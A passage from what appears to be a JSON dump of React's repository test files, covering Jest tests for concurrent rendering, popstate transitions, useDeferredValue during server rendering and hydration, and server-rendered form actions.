should not get invoked\n        }\n        return (\n          <div>\n            <button onClick={enableForm} ref={enableButtonRef}>\n              Enable\n            </button>\n            <button onClick={active ? submitForm : null} ref={submitButtonRef}>\n              Submit\n            </button>\n          </div>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Form />);\n      });\n\n      const enableButton = enableButtonRef.current;\n      expect(enableButton.tagName).toBe('BUTTON');\n\n      // Dispatch a click event on the Enable-button.\n      const firstEvent = document.createEvent('Event');\n      firstEvent.initEvent('click', true, true);\n      await act(() => {\n        enableButton.dispatchEvent(firstEvent);\n      });\n\n      // There should now be a pending update to enable the form.\n\n      // This should not have flushed yet since it's in concurrent mode.\n      const submitButton = submitButtonRef.current;\n      expect(submitButton.tagName).toBe('BUTTON');\n\n      // In the meantime, we can dispatch a new client event on the submit button.\n      const secondEvent = document.createEvent('Event');\n      secondEvent.initEvent('click', true, true);\n      // This should force the pending update to flush which enables the submit button before the event is invoked.\n      await act(() => {\n        submitButton.dispatchEvent(secondEvent);\n      });\n\n      // Therefore the form should have been submitted.\n      expect(formSubmitted).toBe(true);\n    });\n  });\n\n  it('regression test: does not drop passive effects across roots (#17066)', async () => {\n    const {useState, useEffect} = React;\n\n    function App({label}) {\n      const [step, setStep] = useState(0);\n      useEffect(() => {\n        if (step < 3) {\n          setStep(step + 1);\n        }\n      }, [step]);\n\n      // The component should keep re-rendering itself until `step` is 3.\n      return step === 3 ? 'Finished' : 'Unresolved';\n    }\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n    const containerC = document.createElement('div');\n    const rootA = ReactDOMClient.createRoot(containerA);\n    const rootB = ReactDOMClient.createRoot(containerB);\n    const rootC = ReactDOMClient.createRoot(containerC);\n\n    await act(() => {\n      rootA.render(<App label=\"A\" />);\n      rootB.render(<App label=\"B\" />);\n      rootC.render(<App label=\"C\" />);\n    });\n\n    expect(containerA.textContent).toEqual('Finished');\n    expect(containerB.textContent).toEqual('Finished');\n    expect(containerC.textContent).toEqual('Finished');\n  });\n\n  it('updates flush without yielding in the next event', async () => {\n    const root = ReactDOMClient.createRoot(container);\n\n    function Text(props) {\n      Scheduler.log(props.text);\n      return props.text;\n    }\n\n    root.render(\n      <>\n        <Text text=\"A\" />\n        <Text text=\"B\" />\n        <Text text=\"C\" />\n      </>,\n    );\n\n    // Nothing should have rendered yet\n    expect(container.textContent).toEqual('');\n\n    // Everything should render immediately in the next event\n    await waitForAll(['A', 'B', 'C']);\n    expect(container.textContent).toEqual('ABC');\n  });\n\n  it('unmounted roots should never clear newer root content from a container', async () => {\n    const ref = React.createRef();\n\n    function OldApp() {\n      const [value, setValue] = React.useState('old');\n      function hideOnClick() {\n        // Schedule a discrete update.\n        setValue('update');\n        // Synchronously unmount this root.\n        ReactDOM.flushSync(() => oldRoot.unmount());\n      }\n      return (\n        <button onClick={hideOnClick} ref={ref}>\n          {value}\n        </button>\n      );\n    }\n\n    function NewApp() {\n      return <button ref={ref}>new</button>;\n    }\n\n    const oldRoot = ReactDOMClient.createRoot(container);\n    await act(() => {\n      oldRoot.render(<OldApp />);\n    });\n\n    // Invoke discrete event.\n    ref.current.click();\n\n    // The root should now be unmounted.\n    expect(container.textContent).toBe('');\n\n    // We can now render a new one.\n    const newRoot = ReactDOMClient.createRoot(container);\n    ReactDOM.flushSync(() => {\n      newRoot.render(<NewApp />);\n    });\n    ref.current.click();\n\n    expect(container.textContent).toBe('new');\n  });\n\n  it('should synchronously render the transition lane scheduled in a popState', async () => {\n    function App() {\n      const [syncState, setSyncState] = React.useState(false);\n      const [hasNavigated, setHasNavigated] = React.useState(false);\n      function onPopstate() {\n        Scheduler.log(`popState`);\n        React.startTransition(() => {\n          setHasNavigated(true);\n        });\n        setSyncState(true);\n      }\n      React.useEffect(() => {\n        window.addEventListener('popstate', onPopstate);\n        return () => {\n          window.removeEventListener('popstate', onPopstate);\n        };\n      }, []);\n      Scheduler.log(`render:${hasNavigated}/${syncState}`);\n      return null;\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App />);\n    });\n    assertLog(['render:false/false']);\n\n    await act(async () => {\n      const popStateEvent = new Event('popstate');\n      // Jest is not emulating window.event correctly in the microtask\n      window.event = popStateEvent;\n      window.dispatchEvent(popStateEvent);\n      queueMicrotask(() => {\n        window.event = undefined;\n      });\n    });\n\n    assertLog(['popState', 'render:true/true']);\n    await act(() => {\n      root.unmount();\n    });\n  });\n\n  it('Should not flush transition lanes if there is no transition scheduled in popState', async () => {\n    let setHasNavigated;\n    function App() {\n      const [syncState, setSyncState] = React.useState(false);\n      const [hasNavigated, _setHasNavigated] = React.useState(false);\n      setHasNavigated = _setHasNavigated;\n      function onPopstate() {\n        setSyncState(true);\n      }\n\n      React.useEffect(() => {\n        window.addEventListener('popstate', onPopstate);\n        return () => {\n          window.removeEventListener('popstate', onPopstate);\n        };\n      }, []);\n\n      Scheduler.log(`render:${hasNavigated}/${syncState}`);\n      return null;\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App />);\n    });\n    assertLog(['render:false/false']);\n\n    React.startTransition(() => {\n      setHasNavigated(true);\n    });\n    await act(async () => {\n      const popStateEvent = new Event('popstate');\n      // Jest is not emulating window.event correctly in the microtask\n      window.event = popStateEvent;\n      window.dispatchEvent(popStateEvent);\n      queueMicrotask(() => {\n        window.event = undefined;\n      });\n    });\n    assertLog(['render:false/true', 'render:true/true']);\n    await act(() => {\n      root.unmount();\n    });\n  });\n\n  it('transition lane in popState should be allowed to suspend', async () => {\n    let resolvePromise;\n    const promise = new Promise(res => {\n      resolvePromise = res;\n    });\n\n    function Text({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n\n    function App() {\n      const [pathname, setPathname] = React.useState('/path/a');\n\n      if (pathname !== '/path/a') {\n        try {\n          React.use(promise);\n        } catch (e) {\n          Scheduler.log(`Suspend! [${pathname}]`);\n          throw e;\n        }\n      }\n\n      React.useEffect(() => {\n        function onPopstate() {\n          React.startTransition(() => {\n            setPathname('/path/b');\n          });\n        }\n        window.addEventListener('popstate', onPopstate);\n        return () => window.removeEventListener('popstate', onPopstate);\n      }, []);\n\n      return (\n        <>\n          <Text text=\"Before\" />\n          <div>\n            <Text text={pathname} />\n          </div>\n          <Text text=\"After\" />\n        </>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App />);\n    });\n    assertLog(['Before', '/path/a', 'After']);\n\n    const div = container.getElementsByTagName('div')[0];\n    expect(div.textContent).toBe('/path/a');\n\n    // Simulate a popstate event\n    await act(async () => {\n      const popStateEvent = new Event('popstate');\n\n      // Simulate a popstate event\n      window.event = popStateEvent;\n      window.dispatchEvent(popStateEvent);\n      await waitForMicrotasks();\n      window.event = undefined;\n\n      // The transition lane should have been attempted synchronously (in\n      // a microtask)\n      assertLog(['Suspend! [/path/b]']);\n      // Because it suspended, it remains on the current path\n      expect(div.textContent).toBe('/path/a');\n    });\n    // pre-warming\n    assertLog(['Suspend! [/path/b]']);\n\n    await act(async () => {\n      resolvePromise();\n\n      // Since the transition previously suspended, there's no need for this\n      // transition to be rendered synchronously on susbequent attempts; if we\n      // fail to commit synchronously the first time, the scroll restoration\n      // state won't be restored anyway.\n      //\n      // Yield in between each child to prove that it's concurrent.\n      await waitForMicrotasks();\n      assertLog([]);\n\n      await waitFor(['Before']);\n      await waitFor(['/path/b']);\n      await waitFor(['After']);\n    });\n    assertLog([]);\n    expect(div.textContent).toBe('/path/b');\n    await act(() => {\n      root.unmount();\n    });\n  });\n\n  it('regression: useDeferredValue in popState leads to infinite deferral loop', async () => {\n    // At the time this test was written, it simulated a particular crash that\n    // was happened due to a combination of very subtle implementation details.\n    // Rather than couple this test to those implementation details, I've chosen\n    // to keep it as high-level as possible so that it doesn't break if the\n    // details change. In the future, it might not be trigger the exact set of\n    // internal circumstances anymore, but it could be useful for catching\n    // similar bugs because it represents a realistic real world situation —\n    // namely, switching tabs repeatedly in an app that uses useDeferredValue.\n    //\n    // But don't worry too much about why this test is written the way it is.\n\n    // Represents the browser's current location\n    let browserPathname = '/path/a';\n\n    let setPathname;\n    function App({initialPathname}) {\n      const [pathname, _setPathname] = React.useState('/path/a');\n      setPathname = _setPathname;\n\n      const deferredPathname = React.useDeferredValue(pathname);\n\n      // Attach a popstate listener on mount. Normally this would be in the\n      // in the router implementation.\n      React.useEffect(() => {\n        function onPopstate() {\n          React.startTransition(() => {\n            setPathname(browserPathname);\n          });\n        }\n        window.addEventListener('popstate', onPopstate);\n        return () => window.removeEventListener('popstate', onPopstate);\n      }, []);\n\n      return `Current:  ${pathname}\\nDeferred: ${deferredPathname}`;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App initialPathname={browserPathname} />);\n    });\n\n    // Simulate a series of popstate events that toggle back and forth between\n    // two locations. In the original regression case, a certain combination\n    // of transition lanes would cause React to fall into an infinite deferral\n    // loop — specifically, when the spawned by the useDeferredValue hook was\n    // assigned a \"higher\" bit value than the one assigned to the \"popstate\".\n\n    // For alignment reasons, call this once to advance the internal variable\n    // that assigns transition lanes. Because this is a no-op update, it will\n    // bump the counter, but it won't trigger the useDeferredValue hook.\n    setPathname(browserPathname);\n\n    // Trigger enough popstate events that the scenario occurs for every\n    // possible transition lane.\n    for (let i = 0; i < 50; i++) {\n      await act(async () => {\n        // Simulate a popstate event\n        browserPathname = browserPathname === '/path/a' ? '/path/b' : '/path/a';\n        const popStateEvent = new Event('popstate');\n        window.event = popStateEvent;\n        window.dispatchEvent(popStateEvent);\n        await waitForMicrotasks();\n        window.event = undefined;\n      });\n    }\n  });\n\n  it('regression: infinite deferral loop caused by unstable useDeferredValue input', async () => {\n    function Text({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n\n    let i = 0;\n    function App() {\n      const [pathname, setPathname] = React.useState('/path/a');\n      // This is an unstable input, so it will always cause a deferred render.\n      const {value: deferredPathname} = React.useDeferredValue({\n        value: pathname,\n      });\n      if (i++ > 100) {\n        throw new Error('Infinite loop detected');\n      }\n      React.useEffect(() => {\n        function onPopstate() {\n          React.startTransition(() => {\n            setPathname('/path/b');\n          });\n        }\n        window.addEventListener('popstate', onPopstate);\n        return () => window.removeEventListener('popstate', onPopstate);\n      }, []);\n\n      return <Text text={deferredPathname} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['/path/a']);\n    expect(container.textContent).toBe('/path/a');\n\n    // Simulate a popstate event\n    await act(async () => {\n      const popStateEvent = new Event('popstate');\n\n      // Simulate a popstate event\n      window.event = popStateEvent;\n      window.dispatchEvent(popStateEvent);\n      await waitForMicrotasks();\n      window.event = undefined;\n\n      // The transition lane is attempted synchronously (in a microtask).\n      // Because the input to useDeferredValue is referentially unstable, it\n      // will spawn a deferred task at transition priority. However, even\n      // though it was spawned during a transition event, the spawned task\n      // not also be upgraded to sync.\n      assertLog(['/path/a']);\n    });\n    assertLog(['/path/b']);\n    expect(container.textContent).toBe('/path/b');\n    await act(() => {\n      root.unmount();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzDeferredValue-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {\n  insertNodesAndExecuteScripts,\n  getVisibleChildren,\n} from '../test-utils/FizzTestUtils';\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\n\nlet act;\nlet serverAct;\nlet assertLog;\nlet waitForPaint;\nlet container;\nlet React;\nlet Scheduler;\nlet ReactDOMServer;\nlet ReactDOMClient;\nlet useDeferredValue;\nlet Suspense;\n\ndescribe('ReactDOMFizzForm', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    Scheduler = require('scheduler');\n    patchMessageChannel();\n    act = require('internal-test-utils').act;\n    serverAct = require('internal-test-utils').serverAct;\n    React = require('react');\n    ReactDOMServer = require('react-dom/server.browser');\n    ReactDOMClient = require('react-dom/client');\n    useDeferredValue = React.useDeferredValue;\n    Suspense = React.Suspense;\n    assertLog = require('internal-test-utils').assertLog;\n    waitForPaint = require('internal-test-utils').waitForPaint;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  async function readIntoContainer(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        break;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n    const temp = document.createElement('div');\n    temp.innerHTML = result;\n    insertNodesAndExecuteScripts(temp, container, null);\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('returns initialValue argument, if provided', async () => {\n    function App() {\n      return useDeferredValue('Final', 'Initial');\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    expect(container.textContent).toEqual('Initial');\n\n    // After hydration, it's updated to the final value\n    await act(() => ReactDOMClient.hydrateRoot(container, <App />));\n    expect(container.textContent).toEqual('Final');\n  });\n\n  it(\n    'useDeferredValue during hydration has higher priority than remaining ' +\n      'incremental hydration',\n    async () => {\n      function B() {\n        const text = useDeferredValue('B [Final]', 'B [Initial]');\n        return <Text text={text} />;\n      }\n\n      function App() {\n        return (\n          <div>\n            <span>\n              <Text text=\"A\" />\n            </span>\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <span>\n                <B />\n              </span>\n              <div>\n                <Suspense fallback={<Text text=\"Loading...\" />}>\n                  <span id=\"C\" ref={cRef}>\n                    <Text text=\"C\" />\n                  </span>\n                </Suspense>\n              </div>\n            </Suspense>\n          </div>\n        );\n      }\n\n      const cRef = React.createRef();\n\n      const stream = await serverAct(() =>\n        ReactDOMServer.renderToReadableStream(<App />),\n      );\n      await readIntoContainer(stream);\n      assertLog(['A', 'B [Initial]', 'C']);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <span>A</span>\n          <span>B [Initial]</span>\n          <div>\n            <span id=\"C\">C</span>\n          </div>\n        </div>,\n      );\n\n      const serverRenderedC = document.getElementById('C');\n\n      // On the client, we first hydrate the initial value, then upgrade\n      // to final.\n      await act(async () => {\n        ReactDOMClient.hydrateRoot(container, <App />);\n\n        // First the outermost Suspense boundary hydrates.\n        await waitForPaint(['A']);\n        expect(cRef.current).toBe(null);\n\n        // Then the next level hydrates. This level includes a useDeferredValue,\n        // so we should prioritize upgrading it before we proceed to hydrating\n        // additional levels.\n        await waitForPaint(['B [Initial]']);\n        expect(getVisibleChildren(container)).toEqual(\n          <div>\n            <span>A</span>\n            <span>B [Initial]</span>\n            <div>\n              <span id=\"C\">C</span>\n            </div>\n          </div>,\n        );\n        expect(cRef.current).toBe(null);\n\n        // This paint should only update B. C should still be dehydrated.\n        await waitForPaint(['B [Final]']);\n        expect(getVisibleChildren(container)).toEqual(\n          <div>\n            <span>A</span>\n            <span>B [Final]</span>\n            <div>\n              <span id=\"C\">C</span>\n            </div>\n          </div>,\n        );\n        expect(cRef.current).toBe(null);\n      });\n      // Finally we can hydrate C\n      assertLog(['C']);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <span>A</span>\n          <span>B [Final]</span>\n          <div>\n            <span id=\"C\">C</span>\n          </div>\n        </div>,\n      );\n      expect(cRef.current).toBe(serverRenderedC);\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzForm-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {insertNodesAndExecuteScripts} from '../test-utils/FizzTestUtils';\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\n\nlet act;\nlet serverAct;\nlet container;\nlet React;\nlet ReactDOMServer;\nlet ReactDOMClient;\nlet Suspense;\nlet useFormStatus;\nlet useOptimistic;\nlet useActionState;\nlet assertConsoleErrorDev;\n\ndescribe('ReactDOMFizzForm', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    patchMessageChannel();\n    React = require('react');\n    ReactDOMServer = require('react-dom/server.browser');\n    ReactDOMClient = require('react-dom/client');\n    Suspense = React.Suspense;\n    useFormStatus = require('react-dom').useFormStatus;\n    useOptimistic = require('react').useOptimistic;\n    act = require('internal-test-utils').act;\n    serverAct = require('internal-test-utils').serverAct;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    // TODO: Test the old api but it warns so needs warnings to be asserted.\n    // if (__VARIANT__) {\n    // Remove after API is deleted.\n    // useActionState = require('react-dom').useFormState;\n    // }\n    useActionState = require('react').useActionState;\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  function submit(submitter) {\n    const form = submitter.form || submitter;\n    if (!submitter.form) {\n      submitter = undefined;\n    }\n    const submitEvent = new Event('submit', {bubbles: true, cancelable: true});\n    submitEvent.submitter = submitter;\n    const returnValue = form.dispatchEvent(submitEvent);\n    if (!returnValue) {\n      return;\n    }\n    const action =\n      (submitter && submitter.getAttribute('formaction')) || form.action;\n    if (!/\\s*javascript:/i.test(action)) {\n      throw new Error('Navigate to: ' + action);\n    }\n  }\n\n  async function readIntoContainer(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        break;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n    const temp = document.createElement('div');\n    temp.innerHTML = result;\n    insertNodesAndExecuteScripts(temp, container, null);\n  }\n\n  it('should allow passing a function to form action during SSR', async () => {\n    const ref = React.createRef();\n    let foo;\n\n    function action(formData) {\n      foo = formData.get('foo');\n    }\n    function App() {\n      return (\n        <form action={action} ref={ref}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    submit(ref.current);\n\n    expect(foo).toBe('bar');\n  });\n\n  it('should allow passing a function to an input/button formAction', async () => {\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    let rootActionCalled = false;\n    let savedTitle = null;\n    let deletedTitle = null;\n\n    function action(formData) {\n      rootActionCalled = true;\n    }\n\n    function saveItem(formData) {\n      savedTitle = formData.get('title');\n    }\n\n    function deleteItem(formData) {\n      deletedTitle = formData.get('title');\n    }\n\n    function App() {\n      return (\n        <form action={action}>\n          <input type=\"text\" name=\"title\" defaultValue=\"Hello\" />\n          <input\n            type=\"submit\"\n            formAction={saveItem}\n            value=\"Save\"\n            ref={inputRef}\n          />\n          <button formAction={deleteItem} ref={buttonRef}>\n            Delete\n          </button>\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(savedTitle).toBe(null);\n    expect(deletedTitle).toBe(null);\n\n    submit(inputRef.current);\n    expect(savedTitle).toBe('Hello');\n    expect(deletedTitle).toBe(null);\n    savedTitle = null;\n\n    submit(buttonRef.current);\n    expect(savedTitle).toBe(null);\n    expect(deletedTitle).toBe('Hello');\n    deletedTitle = null;\n\n    expect(rootActionCalled).toBe(false);\n  });\n\n  it('should warn when passing a function action during SSR and string during hydration', async () => {\n    function action(formData) {}\n    function App({isClient}) {\n      return (\n        <form action={isClient ? 'action' : action}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App isClient={true} />);\n    });\n    assertConsoleErrorDev([\n      \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. \" +\n        \"This won't be patched up. This can happen if a SSR-ed Client Component used:\\n\\n\" +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n\\n' +\n        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n\\n' +\n        'https://react.dev/link/hydration-mismatch\\n\\n' +\n        '  <App isClient={true}>\\n' +\n        '    <form\\n' +\n        '+     action=\"action\"\\n' +\n        '-     action=\"function\"\\n' +\n        '    >\\n' +\n        '\\n    in form (at **)' +\n        '\\n    in App (at **)',\n    ]);\n  });\n\n  it('should ideally warn when passing a string during SSR and function during hydration', async () => {\n    function action(formData) {}\n    function App({isClient}) {\n      return (\n        <form action={isClient ? action : 'action'}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    // This should ideally warn because only the client provides a function that doesn't line up.\n    await act(async () => {\n      ReactDOMClient.hydrateRoot(container, <App isClient={true} />);\n    });\n  });\n\n  it('should reset form fields after you update away from hydrated function', async () => {\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    function action(formData) {}\n    function App({isUpdate}) {\n      return (\n        <form\n          action={isUpdate ? 'action' : action}\n          ref={formRef}\n          method={isUpdate ? 'POST' : null}>\n          <input\n            type=\"submit\"\n            formAction={isUpdate ? 'action' : action}\n            ref={inputRef}\n            formTarget={isUpdate ? 'elsewhere' : null}\n          />\n          <button\n            formAction={isUpdate ? 'action' : action}\n            ref={buttonRef}\n            formEncType={isUpdate ? 'multipart/form-data' : null}\n          />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    let root;\n    await act(async () => {\n      root = ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    await act(async () => {\n      root.render(<App isUpdate={true} />);\n    });\n    expect(formRef.current.getAttribute('action')).toBe('action');\n    expect(formRef.current.hasAttribute('encType')).toBe(false);\n    expect(formRef.current.getAttribute('method')).toBe('POST');\n    expect(formRef.current.hasAttribute('target')).toBe(false);\n\n    expect(inputRef.current.getAttribute('formAction')).toBe('action');\n    expect(inputRef.current.hasAttribute('name')).toBe(false);\n    expect(inputRef.current.hasAttribute('formEncType')).toBe(false);\n    expect(inputRef.current.hasAttribute('formMethod')).toBe(false);\n    expect(inputRef.current.getAttribute('formTarget')).toBe('elsewhere');\n\n    expect(buttonRef.current.getAttribute('formAction')).toBe('action');\n    expect(buttonRef.current.hasAttribute('name')).toBe(false);\n    expect(buttonRef.current.getAttribute('formEncType')).toBe(\n      'multipart/form-data',\n    );\n    expect(buttonRef.current.hasAttribute('formMethod')).toBe(false);\n    expect(buttonRef.current.hasAttribute('formTarget')).toBe(false);\n  });\n\n  it('should reset form fields after you remove a hydrated function', async () => {\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    function action(formData) {}\n    function App({isUpdate}) {\n      return (\n        <form action={isUpdate ? undefined : action} ref={formRef}>\n          <input\n            type=\"submit\"\n            formAction={isUpdate ? undefined : action}\n            ref={inputRef}\n          />\n          <button formAction={isUpdate ? undefined : action} ref={buttonRef} />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    let root;\n    await act(async () => {\n      root = ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    await act(async () => {\n      root.render(<App isUpdate={true} />);\n    });\n    expect(formRef.current.hasAttribute('action')).toBe(false);\n    expect(formRef.current.hasAttribute('encType')).toBe(false);\n    expect(formRef.current.hasAttribute('method')).toBe(false);\n    expect(formRef.current.hasAttribute('target')).toBe(false);\n\n    expect(inputRef.current.hasAttribute('formAction')).toBe(false);\n    expect(inputRef.current.hasAttribute('name')).toBe(false);\n    expect(inputRef.current.hasAttribute('formEncType')).toBe(false);\n    expect(inputRef.current.hasAttribute('formMethod')).toBe(false);\n    expect(inputRef.current.hasAttribute('formTarget')).toBe(false);\n\n    expect(buttonRef.current.hasAttribute('formAction')).toBe(false);\n    expect(buttonRef.current.hasAttribute('name')).toBe(false);\n    expect(buttonRef.current.hasAttribute('formEncType')).toBe(false);\n    expect(buttonRef.current.hasAttribute('formMethod')).toBe(false);\n    expect(buttonRef.current.hasAttribute('formTarget')).toBe(false);\n  });\n\n  it('should restore the form fields even if they were incorrectly set', async () => {\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    function action(formData) {}\n    function App({isUpdate}) {\n      return (\n        <form\n          action={isUpdate ? 'action' : action}\n          ref={formRef}\n          method=\"DELETE\">\n          <input\n            type=\"submit\"\n            formAction={isUpdate ? 'action' : action}\n            ref={inputRef}\n            formTarget=\"elsewhere\"\n          />\n          <button\n            formAction={isUpdate ? 'action' : action}\n            ref={buttonRef}\n            formEncType=\"text/plain\"\n          />\n        </form>\n      );\n    }\n\n    // Specifying the extra form fields are a DEV error, but we expect it\n    // to eventually still be patched up after an update.\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    assertConsoleErrorDev([\n      'Cannot specify a encType or method for a form that specifies a function as the action. ' +\n        'React provides those automatically. They will get overridden.\\n' +\n        '    in form (at **)\\n' +\n        '    in App (at **)',\n      'Cannot specify a formTarget for a button that specifies a function as a formAction. ' +\n        'The function will always be executed in the same window.\\n' +\n        '    in input (at **)\\n' +\n        '    in App (at **)',\n    ]);\n    let root;\n    await act(async () => {\n      root = ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    assertConsoleErrorDev([\n      \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. \" +\n        \"This won't be patched up. This can happen if a SSR-ed Client Component used:\\n\\n\" +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n\\n' +\n        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n\\n' +\n        'https://react.dev/link/hydration-mismatch\\n\\n' +\n        '  <App>\\n' +\n        '    <form\\n' +\n        '      action={function action}\\n' +\n        '      ref={{current:null}}\\n' +\n        '+     method=\"DELETE\"\\n' +\n        '-     method={null}\\n' +\n        '    >\\n' +\n        '      <input\\n' +\n        '        type=\"submit\"\\n' +\n        '        formAction={function action}\\n' +\n        '        ref={{current:null}}\\n' +\n        '+       formTarget=\"elsewhere\"\\n' +\n        '-       formTarget={null}\\n' +\n        '      >\\n' +\n        '      <button\\n' +\n        '        formAction={function action}\\n' +\n        '        ref={{current:null}}\\n' +\n        '+       formEncType=\"text/plain\"\\n' +\n        '-       formEncType={null}\\n' +\n        '      >\\n' +\n        '\\n    in input (at **)' +\n        '\\n    in App (at **)',\n    ]);\n    await act(async () => {\n      root.render(<App isUpdate={true} />);\n    });\n    expect(formRef.current.getAttribute('action')).toBe('action');\n    expect(formRef.current.hasAttribute('encType')).toBe(false);\n    expect(formRef.current.getAttribute('method')).toBe('DELETE');\n    expect(formRef.current.hasAttribute('target')).toBe(false);\n\n    expect(inputRef.current.getAttribute('formAction')).toBe('action');\n    expect(inputRef.current.hasAttribute('name')).toBe(false);\n    expect(inputRef.current.hasAttribute('formEncType')).toBe(false);\n    expect(inputRef.current.hasAttribute('formMethod')).toBe(false);\n    expect(inputRef.current.getAttribute('formTarget')).toBe('elsewhere');\n\n    expect(buttonRef.current.getAttribute('formAction')).toBe('action');\n    expect(buttonRef.current.hasAttribute('name')).toBe(false);\n    expect(buttonRef.current.getAttribute('formEncType')).toBe('text/plain');\n    expect(buttonRef.current.hasAttribute('formMethod')).toBe(false);\n    expect(buttonRef.current.hasAttribute('formTarget')).toBe(false);\n  });\n\n  it('useFormStatus is not pending during server render', async () => {\n    function App() {\n      const {pending} = useFormStatus();\n      return 'Pending: ' + pending;\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    );\n    await readIntoContainer(stream);\n    expect(container.textContent).toBe('Pending: false');\n\n    await act(() => ReactDOMClient.hydrateRoot(container, <App />));\n    expect(container.textContent).toBe('Pending: false');\n  });\n\n  it('should replay a form action after hydration', async () => {\n    let foo;\n    function action(formData) {\n      foo = formData.get('foo');\n    }\n    function App() {\n      return (\n        <form action={action}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<App />),\n    